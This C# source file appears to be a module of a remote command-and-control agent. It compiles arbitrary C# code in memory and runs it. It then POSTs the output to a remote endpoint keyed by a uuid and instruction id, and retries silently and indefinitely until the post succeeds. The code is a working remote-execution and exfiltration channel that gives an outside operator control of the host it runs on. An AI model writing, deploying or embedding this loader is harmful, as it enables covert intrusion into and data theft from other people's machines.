﻿using System;
using System.Text;
using Microsoft.CSharp;
using System.Reflection;
using System.Threading.Tasks;
using System.CodeDom.Compiler;
using System.IO;
using System.Net.Http;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;

public class Script
{
	public static async Task<object> ExecuteCsharpCodeAsync(string code, object[] parameters)
	{
		var codeProvider = new CSharpCodeProvider();
		var compilerParams = new CompilerParameters
		{
			GenerateInMemory = true,
			GenerateExecutable = false,
			TreatWarningsAsErrors = false
		};
		compilerParams.ReferencedAssemblies.Add("System.dll");
		compilerParams.ReferencedAssemblies.Add("System.Runtime.dll");
		compilerParams.ReferencedAssemblies.Add("System.Threading.Tasks.dll");
		compilerParams.ReferencedAssemblies.Add("System.Net.Http.dll");
		compilerParams.ReferencedAssemblies.Add("System.Web.Extensions.dll");
		compilerParams.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
		compilerParams.ReferencedAssemblies.Add("System.Security.dll");
		compilerParams.ReferencedAssemblies.Add("System.Dynamic.dll");
		compilerParams.ReferencedAssemblies.Add("System.Core.dll");
		compilerParams.ReferencedAssemblies.Add("mscorlib.dll");
		compilerParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
		compilerParams.ReferencedAssemblies.Add("System.Management.dll");
		compilerParams.ReferencedAssemblies.Add("System.Runtime.Serialization.Json.dll");
		compilerParams.ReferencedAssemblies.Add("System.Runtime.Serialization.dll");
		compilerParams.ReferencedAssemblies.Add("System.Xml.dll");

		CompilerResults results = codeProvider.CompileAssemblyFromSource(compilerParams, code);

		if (results.Errors.HasErrors)
		{
			var errorBuilder = new StringBuilder();
			foreach (CompilerError error in results.Errors)
			{
				errorBuilder.AppendLine("Error (" + error.ErrorNumber + "): " + error.ErrorText);
			}
			return errorBuilder.ToString();
		}
		else
		{
			Assembly assembly = results.CompiledAssembly;
			Type type = assembly.GetType("Script");
            MethodInfo method = type != null ? type.GetMethod("ExecuteAsync") : null;
			if (method == null)
			{
				return "No 'ExecuteAsync' method";
			}
			try
			{
				object obj = Activator.CreateInstance(type);
				Task<object> task = (Task<object>)method.Invoke(obj, parameters);
				object result = await task;
				return result ?? "no output.";
			}
			catch (Exception ex)
			{
				return "Error during execution: "+ex.Message;
			}
		}
	}
	public static async Task<object> ExecuteAsync(string script, string endpoint, string uuid, long instructionId, short code)
	{
		var result = await ExecuteCsharpCodeAsync(script, new object[] { });
		await NotifyWithRetry(endpoint, uuid, instructionId, code,result.ToString());
		return null;
	}

	[DataContract]
	public class Response
	{
		[DataMember]
		public string output { get; set; }
	}
	private static async Task NotifyWithRetry(string EndPoint, string uuid, long instructionId, short code, string output)
	{
		TimeSpan delay = TimeSpan.FromSeconds(10);
		while (true)
		{
			HttpClient httpClient = new HttpClient();
			try
			{
				DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(Response));

				using (MemoryStream ms = new MemoryStream())
				{
					serializer.WriteObject(ms, new Response { output = output });
					var content = new StringContent(Encoding.UTF8.GetString(ms.ToArray()), Encoding.UTF8, "application/json");
					var response = await httpClient.PostAsync(EndPoint + "Response/" + uuid + "/" + instructionId + "/" + code, content);
					response.EnsureSuccessStatusCode();
					break;
				}
			}
			catch (Exception)
			{
			}
			await Task.Delay(delay);
		}
	}
}